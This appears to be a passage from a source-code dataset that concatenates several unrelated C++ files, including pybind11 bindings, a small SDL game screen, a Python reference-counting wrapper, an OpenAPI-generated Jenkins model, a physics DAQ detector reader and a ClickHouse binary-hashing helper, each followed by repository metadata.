using AbstractBoundaryCondition3::AbstractBoundaryCondition;
double GetValue(::ChastePoint<3> const & rX) const override {
PYBIND11_OVERLOAD_PURE(
double,
AbstractBoundaryCondition3,
GetValue,
rX);
}
};
void register_AbstractBoundaryCondition3_class(py::module &m){
py::class_<AbstractBoundaryCondition3 , AbstractBoundaryCondition3_Overloads , boost::shared_ptr<AbstractBoundaryCondition3 > >(m, "AbstractBoundaryCondition3")
.def(py::init< >())
.def(
"GetValue",
(double(AbstractBoundaryCondition3::*)(::ChastePoint<3> const &) const ) &AbstractBoundaryCondition3::GetValue,
" " , py::arg("rX") )
;
}
| 32.736842 | 162 | 0.712219 | jmsgrogan |
6bf130ce98b91c2986c6ec4c67be96dd0d7fab15 | 3,391 | cpp | C++ | Pika-No/src/ScreenGame.cpp | Crupette/advent-2018 | 935458f3aa145e86df2c9144532e926bd59e9e70 | [
"Apache-2.0"
] | null | null | null | Pika-No/src/ScreenGame.cpp | Crupette/advent-2018 | 935458f3aa145e86df2c9144532e926bd59e9e70 | [
"Apache-2.0"
] | null | null | null | Pika-No/src/ScreenGame.cpp | Crupette/advent-2018 | 935458f3aa145e86df2c9144532e926bd59e9e70 | [
"Apache-2.0"
] | null | null | null | #include "ScreenGame.h"
#include <Engine/Base.h>
#include <Engine/InputManager.h>
#include <Engine/FPSRegulator.h>
#include <Engine/RendererDefault.h>
#include <Engine/TextureCache.h>
#include <Engine/GuiManager.h>
DecentEngine::FontRenderer ScreenGame::fontRenderer;
ScreenGame::ScreenGame() : m_engine(time(0)){
}
ScreenGame::~ScreenGame(){
}
void ScreenGame::init(){
m_camera.init(glm::vec2(1024.f / 2.f, 768.f / 2.f), 1.f, 0.f);
fontRenderer.init("assets/fonts/Vera.ttf", 32);
glClearColor(0.5f, 0.5f, 1.f, 1.f);
m_cat.init(glm::vec2(-600.f, 100.f), glm::vec2(236, 141) * glm::vec2(2.3), 0.f, "assets/textures/cat.png");
m_background.init(glm::vec2(0), glm::vec2(1024, 768), 0.f, glm::uvec4(255), "assets/textures/background.png");
m_steak.init(glm::vec2(700.f, 100.f), glm::vec2(300.f, 200.f), 0.f, glm::uvec4(255), "assets/textures/steak.png");
m_timer = 0;
m_audioManager.init();
}
void ScreenGame::destroy() {
fontRenderer.destroy();
m_audioManager.destroy();
}
void ScreenGame::update(){
if(m_loss) return;
bool prevRetreat = m_retreat;
m_camera.update(DecentEngine::Base::getWindow());
if(!m_going) m_timer += DecentEngine::FPSRegulator::getDelta();
if(m_timer >= 1.f){
m_timer = 0.f;
m_going = true;
std::uniform_real_distribution<float> speed(-50, 200);
m_cat.translateVelocity(glm::vec2(800 + speed(m_engine), 0.f));
}
m_cat.update();
if(m_cat.getPosition().x > 300){
m_loss = true;
m_audioManager.getSound("assets/sounds/lose.ogg").begin();
}
glm::uvec2 mousepos = DecentEngine::InputManager::getMousePosition();
mousepos.y = 768 - mousepos.y;
glm::vec4 bounds = m_cat.aabb.getBounds();
if(mousepos.x > bounds.x && mousepos.x < bounds.x + bounds.z && mousepos.y > bounds.y && mousepos.y < bounds.y + bounds.w && DecentEngine::InputManager::isKeyPressed(SDL_BUTTON_LEFT)){
m_retreat = true;
m_cat.translateVelocity(glm::vec2(-600.f, 0.f));
}
if(m_retreat && bounds.x <= -600.f){
m_retreat = false;
m_going = false;
m_cat.setVelocity(glm::vec2(0.f));
}
if(prevRetreat == false && m_retreat){
static DecentEngine::Audio::Sound sounds[13] {
m_audioManager.getSound("assets/sounds/pika-1.ogg"),
m_audioManager.getSound("assets/sounds/pika-2.ogg"),
m_audioManager.getSound("assets/sounds/pika-3.ogg"),
m_audioManager.getSound("assets/sounds/pika-4.ogg"),
m_audioManager.getSound("assets/sounds/pika-5.ogg"),
m_audioManager.getSound("assets/sounds/pika-6.ogg"),
m_audioManager.getSound("assets/sounds/pika-7.ogg"),
m_audioManager.getSound("assets/sounds/pika-8.ogg"),
m_audioManager.getSound("assets/sounds/pika-9.ogg"),
m_audioManager.getSound("assets/sounds/pika-10.ogg"),
m_audioManager.getSound("assets/sounds/pika-11.ogg"),
m_audioManager.getSound("assets/sounds/pika-12.ogg"),
m_audioManager.getSound("assets/sounds/pika-13.ogg")
};
static int index = 0;
sounds[index++].begin();
index %= 13;
}
}
void ScreenGame::render(){
DecentEngine::RendererDefault::begin(m_camera);
DecentEngine::RendererDefault::addSprite(&m_background);
DecentEngine::RendererDefault::end();
DecentEngine::RendererDefault::begin(m_camera);
DecentEngine::RendererDefault::addObject(&m_cat);
DecentEngine::RendererDefault::addSprite(&m_steak);
DecentEngine::RendererDefault::end();
DecentEngine::RendererDefault::beginShader(m_camera);
DecentEngine::RendererDefault::endShader();
}
| 33.91 | 185 | 0.715718 | Crupette |
6bf20831af4f882e80ac2510f7903d945d044aa9 | 5,288 | hpp | C++ | c++/cpp2py/pyref.hpp | TRIQS/cpp2y | a54c23606abe4e19da8f370b9c3faed0fb3ec5ca | [
"Apache-2.0"
] | 19 | 2017-10-16T13:54:56.000Z | 2022-01-29T10:34:07.000Z | c++/cpp2py/pyref.hpp | TRIQS/cpp2y | a54c23606abe4e19da8f370b9c3faed0fb3ec5ca | [
"Apache-2.0"
] | 38 | 2017-11-08T10:26:16.000Z | 2022-03-04T19:09:47.000Z | c++/cpp2py/pyref.hpp | TRIQS/cpp2y | a54c23606abe4e19da8f370b9c3faed0fb3ec5ca | [
"Apache-2.0"
] | 12 | 2017-11-09T12:28:35.000Z | 2022-03-04T18:54:48.000Z | // Copyright (c) 2017-2018 Commissariat à l'énergie atomique et aux énergies alternatives (CEA)
// Copyright (c) 2017-2018 Centre national de la recherche scientifique (CNRS)
// Copyright (c) 2018-2020 Simons Foundation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0.txt
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Authors: Olivier Parcollet, Nils Wentzell
#pragma once
#include <Python.h>
#include "./get_module.hpp"
#include <string>
using namespace std::string_literals;
namespace cpp2py {
/**
* A class to own a reference PyObject *, with proper reference counting.
*/
class pyref {
PyObject *ob = NULL;
public:
/// Null
pyref() = default;
/// Takes ownership of the reference
pyref(PyObject *new_ref) : ob(new_ref) {}
/// Release the ref
~pyref() { Py_XDECREF(ob); }
/// Copy constructor
pyref(pyref const &p) {
ob = p.ob;
Py_XINCREF(ob);
}
/// Move constructor
pyref(pyref &&p) {
ob = p.ob;
p.ob = NULL;
}
/// No copy assign.
pyref &operator=(pyref const & p) {
Py_XDECREF(ob);
ob = p.ob;
Py_XINCREF(ob);
return *this;
}
/// Move assign
pyref &operator=(pyref &&p) {
Py_XDECREF(ob);
ob = p.ob;
p.ob = NULL;
return *this;
}
/// Returns a borrowed reference
operator PyObject *() const { return ob; }
/// Returns a new reference to the object
PyObject *new_ref() const {
Py_XINCREF(ob);
return ob;
}
/// ref counting
int refcnt() const { return (ob != NULL ? Py_REFCNT(ob) : -100); }
/// True iif the object is not NULL
explicit operator bool() const { return (ob != NULL); }
/// Is object NULL
bool is_null() const { return ob == NULL; }
/// Is it Py_None
bool is_None() const { return ob == Py_None; }
/// Returns the attribute of this. Null if error, or if is_null.
pyref attr(const char *s) { return (ob ? PyObject_GetAttrString(ob, s) : NULL); } // NULL : pass the error in chain call x.attr().attr()....
/// Call
pyref operator()(PyObject *a1) {
return (ob ? PyObject_CallFunctionObjArgs(ob, a1, NULL) : NULL);
} // NULL : pass the error in chain call x.attr().attr()....
/// Call
pyref operator()(PyObject *a1, PyObject *a2) {
return (ob ? PyObject_CallFunctionObjArgs(ob, a1, a2, NULL) : NULL);
} // NULL : pass the error in chain call x.attr().attr()....
/// Import the module and returns a pyref to it
static pyref module(std::string const &module_name) {
// Maybe the module was already imported?
PyObject *mod = PyImport_GetModule(PyUnicode_FromString(module_name.c_str()));
// If not, import normally
if (mod == NULL) mod = PyImport_ImportModule(module_name.c_str());
// Did we succeed?
if (mod == NULL) throw std::runtime_error(std::string{"Failed to import module "} + module_name);
return mod;
}
/// Make a Python string from the C++ string
static pyref string(std::string const &s) { return PyUnicode_FromString(s.c_str()); }
/// Make a Python Tuple from the C++ objects
template <typename... T> static pyref make_tuple(T const &... x) { return PyTuple_Pack(sizeof...(T), static_cast<PyObject *>(x)...); }
/// gets a reference to the class cls_name in module_name
static pyref get_class(const char *module_name, const char *cls_name, bool raise_exception) {
pyref cls = pyref::module(module_name).attr(cls_name);
if (cls.is_null() && raise_exception) {
std::string s = std::string{"Cannot find the class "} + module_name + "." + cls_name;
PyErr_SetString(PyExc_TypeError, s.c_str());
}
return cls;
}
/// checks that ob is of type module_name.cls_name
static bool check_is_instance(PyObject *ob, PyObject *cls, bool raise_exception) {
int i = PyObject_IsInstance(ob, cls);
if (i == -1) { // an error has occurred
i = 0;
if (!raise_exception) PyErr_Clear();
}
if ((i == 0) && (raise_exception)) {
pyref cls_name_obj = PyObject_GetAttrString(cls, "__name__");
std::string err = "Type error: Python object does not match expected type ";
err.append(PyUnicode_AsUTF8(cls_name_obj));
PyErr_SetString(PyExc_TypeError, err.c_str());
}
return i;
}
};
static_assert(sizeof(pyref) == sizeof(PyObject *), "pyref must contain only a PyObject *");
// FIXME : put static or the other functions inline ?
/// Returns a pyref from a borrowed ref
inline pyref borrowed(PyObject *ob) {
Py_XINCREF(ob);
return {ob};
}
inline std::string to_string(PyObject * ob){
pyref py_str = PyObject_Str(ob);
return PyUnicode_AsUTF8(py_str);
}
} // namespace cpp2py
| 31.289941 | 144 | 0.634266 | TRIQS |
6bf4ffa082b0c189b28c203bc4d6b69c501dec19 | 7,077 | cpp | C++ | clients/cpp-qt-qhttpengine-server/generated/server/src/models/OAIInputStepImpl.cpp | cliffano/jenkins-api-clients-generator | 522d02b3a130a29471df5ec1d3d22c822b3d0813 | [
"MIT"
] | null | null | null | clients/cpp-qt-qhttpengine-server/generated/server/src/models/OAIInputStepImpl.cpp | cliffano/jenkins-api-clients-generator | 522d02b3a130a29471df5ec1d3d22c822b3d0813 | [
"MIT"
] | null | null | null | clients/cpp-qt-qhttpengine-server/generated/server/src/models/OAIInputStepImpl.cpp | cliffano/jenkins-api-clients-generator | 522d02b3a130a29471df5ec1d3d22c822b3d0813 | [
"MIT"
] | null | null | null | /**
* Swaggy Jenkins
* Jenkins API clients generated from Swagger / Open API specification
*
* The version of the OpenAPI document: 1.1.2-pre.0
* Contact: blah@cliffano.com
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
#include "OAIInputStepImpl.h"
#include <QDebug>
#include <QJsonArray>
#include <QJsonDocument>
#include <QObject>
#include "OAIHelpers.h"
namespace OpenAPI {
OAIInputStepImpl::OAIInputStepImpl(QString json) {
this->initializeModel();
this->fromJson(json);
}
OAIInputStepImpl::OAIInputStepImpl() {
this->initializeModel();
}
OAIInputStepImpl::~OAIInputStepImpl() {}
void OAIInputStepImpl::initializeModel() {
m__class_isSet = false;
m__class_isValid = false;
m__links_isSet = false;
m__links_isValid = false;
m_id_isSet = false;
m_id_isValid = false;
m_message_isSet = false;
m_message_isValid = false;
m_ok_isSet = false;
m_ok_isValid = false;
m_parameters_isSet = false;
m_parameters_isValid = false;
m_submitter_isSet = false;
m_submitter_isValid = false;
}
void OAIInputStepImpl::fromJson(QString jsonString) {
QByteArray array(jsonString.toStdString().c_str());
QJsonDocument doc = QJsonDocument::fromJson(array);
QJsonObject jsonObject = doc.object();
this->fromJsonObject(jsonObject);
}
void OAIInputStepImpl::fromJsonObject(QJsonObject json) {
m__class_isValid = ::OpenAPI::fromJsonValue(_class, json[QString("_class")]);
m__class_isSet = !json[QString("_class")].isNull() && m__class_isValid;
m__links_isValid = ::OpenAPI::fromJsonValue(_links, json[QString("_links")]);
m__links_isSet = !json[QString("_links")].isNull() && m__links_isValid;
m_id_isValid = ::OpenAPI::fromJsonValue(id, json[QString("id")]);
m_id_isSet = !json[QString("id")].isNull() && m_id_isValid;
m_message_isValid = ::OpenAPI::fromJsonValue(message, json[QString("message")]);
m_message_isSet = !json[QString("message")].isNull() && m_message_isValid;
m_ok_isValid = ::OpenAPI::fromJsonValue(ok, json[QString("ok")]);
m_ok_isSet = !json[QString("ok")].isNull() && m_ok_isValid;
m_parameters_isValid = ::OpenAPI::fromJsonValue(parameters, json[QString("parameters")]);
m_parameters_isSet = !json[QString("parameters")].isNull() && m_parameters_isValid;
m_submitter_isValid = ::OpenAPI::fromJsonValue(submitter, json[QString("submitter")]);
m_submitter_isSet = !json[QString("submitter")].isNull() && m_submitter_isValid;
}
QString OAIInputStepImpl::asJson() const {
QJsonObject obj = this->asJsonObject();
QJsonDocument doc(obj);
QByteArray bytes = doc.toJson();
return QString(bytes);
}
QJsonObject OAIInputStepImpl::asJsonObject() const {
QJsonObject obj;
if (m__class_isSet) {
obj.insert(QString("_class"), ::OpenAPI::toJsonValue(_class));
}
if (_links.isSet()) {
obj.insert(QString("_links"), ::OpenAPI::toJsonValue(_links));
}
if (m_id_isSet) {
obj.insert(QString("id"), ::OpenAPI::toJsonValue(id));
}
if (m_message_isSet) {
obj.insert(QString("message"), ::OpenAPI::toJsonValue(message));
}
if (m_ok_isSet) {
obj.insert(QString("ok"), ::OpenAPI::toJsonValue(ok));
}
if (parameters.size() > 0) {
obj.insert(QString("parameters"), ::OpenAPI::toJsonValue(parameters));
}
if (m_submitter_isSet) {
obj.insert(QString("submitter"), ::OpenAPI::toJsonValue(submitter));
}
return obj;
}
QString OAIInputStepImpl::getClass() const {
return _class;
}
void OAIInputStepImpl::setClass(const QString &_class) {
this->_class = _class;
this->m__class_isSet = true;
}
bool OAIInputStepImpl::is__class_Set() const{
return m__class_isSet;
}
bool OAIInputStepImpl::is__class_Valid() const{
return m__class_isValid;
}
OAIInputStepImpllinks OAIInputStepImpl::getLinks() const {
return _links;
}
void OAIInputStepImpl::setLinks(const OAIInputStepImpllinks &_links) {
this->_links = _links;
this->m__links_isSet = true;
}
bool OAIInputStepImpl::is__links_Set() const{
return m__links_isSet;
}
bool OAIInputStepImpl::is__links_Valid() const{
return m__links_isValid;
}
QString OAIInputStepImpl::getId() const {
return id;
}
void OAIInputStepImpl::setId(const QString &id) {
this->id = id;
this->m_id_isSet = true;
}
bool OAIInputStepImpl::is_id_Set() const{
return m_id_isSet;
}
bool OAIInputStepImpl::is_id_Valid() const{
return m_id_isValid;
}
QString OAIInputStepImpl::getMessage() const {
return message;
}
void OAIInputStepImpl::setMessage(const QString &message) {
this->message = message;
this->m_message_isSet = true;
}
bool OAIInputStepImpl::is_message_Set() const{
return m_message_isSet;
}
bool OAIInputStepImpl::is_message_Valid() const{
return m_message_isValid;
}
QString OAIInputStepImpl::getOk() const {
return ok;
}
void OAIInputStepImpl::setOk(const QString &ok) {
this->ok = ok;
this->m_ok_isSet = true;
}
bool OAIInputStepImpl::is_ok_Set() const{
return m_ok_isSet;
}
bool OAIInputStepImpl::is_ok_Valid() const{
return m_ok_isValid;
}
QList<OAIStringParameterDefinition> OAIInputStepImpl::getParameters() const {
return parameters;
}
void OAIInputStepImpl::setParameters(const QList<OAIStringParameterDefinition> ¶meters) {
this->parameters = parameters;
this->m_parameters_isSet = true;
}
bool OAIInputStepImpl::is_parameters_Set() const{
return m_parameters_isSet;
}
bool OAIInputStepImpl::is_parameters_Valid() const{
return m_parameters_isValid;
}
QString OAIInputStepImpl::getSubmitter() const {
return submitter;
}
void OAIInputStepImpl::setSubmitter(const QString &submitter) {
this->submitter = submitter;
this->m_submitter_isSet = true;
}
bool OAIInputStepImpl::is_submitter_Set() const{
return m_submitter_isSet;
}
bool OAIInputStepImpl::is_submitter_Valid() const{
return m_submitter_isValid;
}
bool OAIInputStepImpl::isSet() const {
bool isObjectUpdated = false;
do {
if (m__class_isSet) {
isObjectUpdated = true;
break;
}
if (_links.isSet()) {
isObjectUpdated = true;
break;
}
if (m_id_isSet) {
isObjectUpdated = true;
break;
}
if (m_message_isSet) {
isObjectUpdated = true;
break;
}
if (m_ok_isSet) {
isObjectUpdated = true;
break;
}
if (parameters.size() > 0) {
isObjectUpdated = true;
break;
}
if (m_submitter_isSet) {
isObjectUpdated = true;
break;
}
} while (false);
return isObjectUpdated;
}
bool OAIInputStepImpl::isValid() const {
// only required properties are required for the object to be considered valid
return true;
}
} // namespace OpenAPI
| 25.095745 | 93 | 0.681645 | cliffano |
6bfa199f566aa6577a1ecc64a17b525ad2bf62b6 | 970 | cc | C++ | raco/clib/boolean.cc | uwescience/raco | 1f2bedbef71bacf715340289f4973d85a3c1dc97 | [
"BSD-3-Clause"
] | 61 | 2015-02-09T17:27:40.000Z | 2022-03-28T14:37:53.000Z | raco/clib/boolean.cc | uwescience/raco | 1f2bedbef71bacf715340289f4973d85a3c1dc97 | [
"BSD-3-Clause"
] | 201 | 2015-01-03T02:46:19.000Z | 2017-09-19T02:16:36.000Z | raco/clib/boolean.cc | uwescience/raco | 1f2bedbef71bacf715340289f4973d85a3c1dc97 | [
"BSD-3-Clause"
] | 17 | 2015-06-03T12:01:30.000Z | 2021-11-27T15:49:21.000Z | #include "boolean.h"
using namespace std;
void BinaryExpression::PrintTo(ostream &os, int indent) {
os <<
};
// AND, OR
class BinaryBooleanExpression : public BooleanExpression {
public:
BinaryBooleanExpression(BooleanExpression &left, BooleanExpression &right);
};
// attribute reference, literal
class Value {};
// =, !=, <, >, <=, >=
class BinaryBooleanOperator : public BooleanExpression {
public:
BinaryBooleanOperator(const Value &left, const Value &right) : left(left), right(right) {};
protected:
const Value &left;
const Value &right;
};
template<typename T>
class Literal : public Value {
public:
Literal(T val) : value(val) {};
protected:
T value;
};
class Attribute : public Value {
public:
Attribute(string val) : value(val) {};
protected:
string &value;
};
class EQ : public BinaryBooleanOperator {
public:
EQ(const Value &left, const Value &right) : BinaryBooleanOperator(left, right) {};
};
| 20.638298 | 95 | 0.681443 | uwescience |
d40063445f7b2e866a5fd2549d66849d1e8b8843 | 9,130 | cxx | C++ | StRoot/RTS/src/DAQ_READER/daq_det.cxx | xiaohaijin/RHIC-STAR | a305cb0a6ac15c8165bd8f0d074d7075d5e58752 | [
"MIT"
] | 2 | 2018-12-24T19:37:00.000Z | 2022-02-28T06:57:20.000Z | StRoot/RTS/src/DAQ_READER/daq_det.cxx | xiaohaijin/RHIC-STAR | a305cb0a6ac15c8165bd8f0d074d7075d5e58752 | [
"MIT"
] | null | null | null | StRoot/RTS/src/DAQ_READER/daq_det.cxx | xiaohaijin/RHIC-STAR | a305cb0a6ac15c8165bd8f0d074d7075d5e58752 | [
"MIT"
] | null | null | null | #include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h> // for htonl
#include <dlfcn.h> // shared lib support
#include <errno.h>
#include <rtsLog.h>
#include <rts.h>
#include <rtsSystems.h>
#include <daqFormats.h>
#include <SFS/sfs_index.h>
#include "daqReader.h"
#include "daq_det.h"
#include "daq_dta.h"
//static
daq_det_factory *daq_det_factory::pseudo_factories[32] ;
daq_det_factory *daq_det_factory::det_factories[32] ;
//static
daq_det *daq_det_factory::make_det(int wh)
{
daq_det_factory *use_factory = 0 ;
char libname[64] ;
libname[0] = 0 ; // cautious...
if(wh < 0) { // super-special rare pseudo det cases; deal by hand...
switch(wh) {
case -BTOW_ID :
sprintf(libname,"libdaq_emc.so") ;
break ;
case -L3_ID :
sprintf(libname,"libdaqhlt.so") ;
break ;
case -SVT_ID : //itpc_pseud
sprintf(libname,"libitpc.so") ;
break ;
// case -L4_ID:
// sprintf(libname,"libdaql4.so");
// break;
}
}
else {
sprintf(libname,"libdaq_%s.so",rts2name(wh)) ;
}
// dets are in uppercase, turn all to lowercase...
for(u_int i=0;i<strlen(libname);i++) {
libname[i] = tolower(libname[i]) ;
}
LOG(NOTE,"factory for det %d, lib %s",wh,libname) ;
if(wh < 0) { // is this a pseudo det?
wh = -wh ; // reverse sign!
use_factory = pseudo_factories[wh] ;
}
else { // normal det
use_factory = det_factories[wh] ;
}
if(use_factory == 0) { // not inserted? need shared lib load...
#if 0 // this was never completed...
#ifdef __ROOT__
gSomething->Loadsomething(libname) ;
#else
// shared lib load not done yet, let it fail...
#if 0
errno = 0 ;
void *handle = dlopen("../DAQ_SC/libdaq_sc.so", RTLD_LAZY | RTLD_GLOBAL) ;
if(handle == 0) {
LOG(ERR,"dlopen failed for %s [%s]",libname,dlerror()) ;
}
else {
LOG(NOTE,"dlopen OK for det %d, lib %s",wh,libname) ;
}
#endif
#endif
#endif
}
if(use_factory == 0) { // still nothing???
LOG(ERR,"Can't load or find detector %d,libname %s",wh,libname) ;
}
assert(use_factory) ; // what else...
LOG(NOTE,"factory for %d: calling create",wh) ;
return use_factory->create() ;
}
int daq_det::endianess = 0 ; // the executing machine is little endian (0)
daq_det::daq_det(daqReader *rts_caller)
{
name = sfs_name = "(generic)" ;
rts_id = -1 ; // this should be correctly overriden in the member
caller = rts_caller ;
present = 0 ;
SetMode(0) ;
m_Debug = 0 ;
def_sector = def_rdo = -1 ; // assume ALL sectors and RDOs..
in_buffer = 0 ;
out_buffer = 0 ;
in_bytes = 0 ;
out_bytes = 0 ;
if(htonl(0x12345678) != 0x12345678) {
endianess = 0 ; // little ;
}
else {
endianess = 1 ; // big
}
LOG(DBG,"daq_det: %s [%d], caller %p: endianess %c",name,rts_id,caller,endianess?'B':'L') ;
return ;
}
daq_det::~daq_det()
{
LOG(DBG,"~daq_det: %s [%d]",name,rts_id) ;
#ifndef PP_MVME
if(caller) {
LOG(DBG,"Before de_insert(%d)",rts_id) ;
caller->de_insert(rts_id) ;
LOG(DBG,"After de_insert(%d)",rts_id) ;
}
#endif
return ;
}
unsigned int daq_det::get_global_event_num()
{
if(caller) return caller->seq ;
return 0 ; // unknown...
};
void daq_det::managed_by(class daqReader *c)
{
caller = c ;
assert(caller) ;
#ifndef PP_MVME
caller->insert(this, rts_id) ;
#endif
}
int daq_det::Make()
{
present = 0 ; // assume not...
if(presence()) { // this is SFS presence...
present |= DET_PRESENT_SFS ; // in sfs: 1
LOG(NOTE,"%s(SFS %s): present via SFS",name,sfs_name) ;
}
else if(legacyDetp(rts_id, caller->mem)) {
present |= DET_PRESENT_DATAP ; // in datap: 2
LOG(NOTE,"%s(SFS %s): present via DATAP",name,sfs_name) ;
}
if(present) {
evt_num++ ; // nah, this is not really event number but let it stay...
}
else {
LOG(DBG, "%s: not found",name) ;
}
return present ;
}
int daq_det::Init()
{
present = 0 ;
evt_num = 0 ;
run_num = 0 ;
LOG(DBG,"Init: %s[%d], sfs_name %s",name,rts_id,sfs_name) ;
return 0 ;
}
int daq_det::InitRun(int run_number)
{
run_num = run_number ;
evt_num = 0 ;
present = 0 ;
LOG(DBG,"InitRun: %s [%d]: run %09u",name,rts_id,run_number) ;
return 0 ;
}
int daq_det::FinishRun(int old_run_number)
{
LOG(DBG,"FinishRun: %s [%d]: run %09u",name,rts_id,old_run_number) ;
return 0 ;
}
void daq_det::help() const
{
printf("***************** %s: %s ******************\n",name,GetCVS()) ;
}
/*
This checks SFS presence!
*/
int daq_det::presence()
{
int pres = 0 ;
if(caller==0) { // in case we are running online, there is no "caller" so assume presence!
LOG(TERR,"no caller? %s",name) ;
pres = 1 ;
goto ret_here;
}
#ifdef PP_MVME
pres = 1 ;
goto ret_here ;
#else
if(caller->sfs == 0) goto ret_here ; // no sfs?
if(caller->sfs->opendirent((char *)sfs_name)) { // gotcha!
pres = 1 ;
}
else {
pres = 0 ;
}
#endif
ret_here: ;
LOG(DBG,"sfs presence(%s): %d",sfs_name,pres) ;
return pres ;
} ;
int daq_det::get_token(char *addr, int words)
{
daq_trg_word trgs[128] ;
int ret = get_l2(addr, words, trgs, 1) ;
if(ret == 0) {
LOG(ERR,"No triggers?") ;
return -1000 ;
}
if(trgs[0].t==0) {
LOG(ERR,"Token 0 not allowed but I will try to use the other triggers...") ;
trgs[0].t = 4097 ;
}
return trgs[0].t ;
}
int daq_det::get_l2(char *buff, int buff_bytes, daq_trg_word *trg, int prompt)
{
LOG(ERR,"%s: get_l2() not written!",name) ;
return 0 ;
}
int daq_det::bad_sanity()
{
return 0 ;
}
daq_dta *daq_det::get(const char *bank,int c1, int c2, int c3, void *p1, void *p2)
{
LOG(ERR,"%s [%d]: get() not written!",name,rts_id) ;
return 0 ;
}
daq_dta *daq_det::put(const char *bank,int c1, int c2, int c3, void *p1, void *p2)
{
LOG(ERR,"%s: put() not written!",name) ;
return 0 ;
}
// helpers
int checkBank(char *in, char *expect)
{
char buff[12] ;
memcpy(buff,in,8) ;
buff[9] = 0 ;
/* SPECIAL HACK for i.e. 2000 DATA
In 2000 the DATAP bank was "DATAP" and not the usual "DATAP "
*/
if(strcmp(buff,"DATAP")==0) {
memcpy(buff,CHAR_DATAP,8) ;
}
if(memcmp(buff,expect,strlen(expect))) {
LOG(ERR,"Read \"%s\", expect \"%s\"",buff,expect) ;
return -1 ;
}
else {
LOG(DBG,"Found \"%s\", as expected...",expect) ;
}
return 0 ;
}
/*
Returns pointer to the DETP banks using
legacy DATAP/DATAPX banks...
*/
int *legacyDetp(int rts_id, char *m)
{
struct DATAP *datap = (struct DATAP *)m ; // assume we are pointed to DATAP
struct DATAPX *datapx ;
int *ret_p ;
int len, off ;
int id ;
if(datap == 0) {
LOG(DBG,"No DATAP: I would need it for %s [%d]",rts2name(rts_id),rts_id) ;
return 0 ;
}
int swapdatap = 0 ;
int swapdatapx = 0 ;
LOG(DBG,"Checking for %s",rts2name(rts_id)) ;
// verify bank
if(checkBank(datap->bh.bank_type, CHAR_DATAP) < 0) {
return 0 ;
}
LOG(DBG,"Here...") ;
// set order
if(datap->bh.byte_order != DAQ_RAW_FORMAT_ORDER) swapdatap = 1;
for(int i=0;i<10;i++) {
if(datap->det[i].len) {
LOG(DBG,"Found DATAP ix %d: [%s]",i,rts2name(i)) ;
}
}
// ugly special cases which need override...
switch(rts_id) {
case BSMD_ID :
id = BTOW_ID ;
break ;
case ESMD_ID :
id = ETOW_ID ;
break ;
default :
id = rts_id ;
break ;
}
ret_p = 0 ; // assume not found...
// navigate to DETP
if(id < 10) { // DATAP
len = qswap32(swapdatap, datap->det[id].len) ;
off = qswap32(swapdatap, datap->det[id].off) ;
LOG(DBG, "Checking for datap: len=%d off=%d",len,off);
if((len == 0) || (off == 0)) {
return 0 ;
}
// navigate to DETP
LOG(DBG,"%s [%d] found in this event",rts2name(rts_id),rts_id) ;
ret_p = ((int *)datap + off) ;
}
else { // DATAPX
len = qswap32(swapdatap, datap->det[EXT_ID].len) ;
off = qswap32(swapdatap, datap->det[EXT_ID].off) ;
LOG(DBG, "Checking for datapx: len=%d off=%d",len,off);
if((len == 0) || (off == 0)) {
return 0 ;
}
// navigate to datapx
datapx = (struct DATAPX *)((int *)datap + off) ;
// verify bank
if(checkBank(datapx->bh.bank_type, CHAR_DATAPX) < 0) {
return 0 ;
}
if(datapx->bh.byte_order != DAQ_RAW_FORMAT_ORDER) swapdatapx = 1;
for(int i=0;i<22;i++) {
if(datapx->det[i].len) {
LOG(DBG,"Found DATAPX ix %d: ID %d [%s]",i,i+10,rts2name(i+10)) ;
}
}
len = qswap32(swapdatapx, datapx->det[id-10].len) ;
off = qswap32(swapdatapx, datapx->det[id-10].off) ;
if((len == 0) || (off == 0)) {
return 0 ;
}
// navigate to DETP
LOG(DBG,"%s [%d] found in this event",rts2name(rts_id),rts_id) ;
ret_p = ((int *)datapx + off) ;
}
if(ret_p == 0) return 0 ;
// special case for EMCs: we need to discern the SMDs....
EMCP *emcp = (EMCP *) ret_p ;
switch(rts_id) {
case BTOW_ID :
case ETOW_ID :
LOG(DBG,"[BE]TOW: %p: %d, %d",emcp,emcp->sec[0].len, emcp->sec[1].len) ;
if(emcp->sec[0].len) ; // do nothing...
else ret_p = 0 ; // however, it is still possible that they are in trigger's bank
break ;
case BSMD_ID :
case ESMD_ID :
LOG(DBG,"[BE]SMD: %p: %d, %d",emcp,emcp->sec[0].len, emcp->sec[1].len) ;
if(emcp->sec[1].len) ; // do nothing ...
else ret_p = 0 ;
break ;
}
if(ret_p) LOG(DBG,"%s [%d] found in this event",rts2name(rts_id),rts_id) ;
return ret_p ;
}
| 18.941909 | 92 | 0.609639 | xiaohaijin |
d401b0311be496a4de2f5d85ab831023bdfbdbc3 | 1,127 | cpp | C++ | src/Common/getHashOfLoadedBinary.cpp | evryfs/ClickHouse | a9648af0b9e2506ce783106315814ed8dbd0a952 | [
"Apache-2.0"
] | 18 | 2021-05-29T01:12:33.000Z | 2021-11-18T12:34:48.000Z | src/Common/getHashOfLoadedBinary.cpp | evryfs/ClickHouse | a9648af0b9e2506ce783106315814ed8dbd0a952 | [
"Apache-2.0"
] | 13 | 2019-06-06T09:45:53.000Z | 2020-05-15T12:03:45.000Z | src/Common/getHashOfLoadedBinary.cpp | evryfs/ClickHouse | a9648af0b9e2506ce783106315814ed8dbd0a952 | [
"Apache-2.0"
] | 22 | 2019-06-14T10:31:51.000Z | 2020-10-12T14:57:44.000Z | #include <Common/getHashOfLoadedBinary.h>
#if defined(__linux__)
#include <link.h>
#include <array>
#include <Common/hex.h>
static int callback(dl_phdr_info * info, size_t, void * data)
{
SipHash & hash = *reinterpret_cast<SipHash*>(data);
for (size_t header_index = 0; header_index < info->dlpi_phnum; ++header_index)
{
const auto & phdr = info->dlpi_phdr[header_index];
if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X))
{
hash.update(phdr.p_filesz);
